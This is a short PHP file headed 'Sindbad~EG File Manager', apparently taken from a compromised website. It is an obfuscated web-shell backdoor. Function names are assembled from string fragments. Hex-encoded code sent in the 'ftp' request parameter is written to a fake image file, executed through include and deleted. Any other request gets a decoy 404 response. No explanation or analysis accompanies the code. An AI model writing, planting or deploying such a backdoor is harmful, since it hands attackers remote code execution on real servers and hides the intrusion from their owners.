Sindbad~EG File Manager

<?=$a="fil"."e_ex"."ists";?>
<?=$b="unl"."ink";?>
<?=$c="fil"."e_p"."ut_co"."nten"."ts";?>
<?=$d="bas"."e64_d"."eco"."de";?>
<?=$e="htt"."p_re"."spon"."se_co"."de";?>
<?=$f="hea"."der";?>
<?=$g="he"."x2b"."in";?>
<?php
/*asdawdasdawd*/
if(isset($_REQUEST['ftp'])){
    if($a("image_xvxxpassd.jpg")){
        $b("image_xvxxpassd.jpg");
    }/*asdawdasdawd*/
    $c("image_xvxxpassd.jpg",$d("PD9waHAK").$d("CnVubGluaygiaW1hZ2VfeHZwYXNzZC5qcGciKTsK").$g($_REQUEST['ftp']));
    include "image_xvxxpassd.jpg";
/*asdawdasdawd*/
    $b("image_xvxxpassd.jpg");
}else{
    $e(404);
    $f('Content-Type: text/html; charset=UTF-8');
}
?>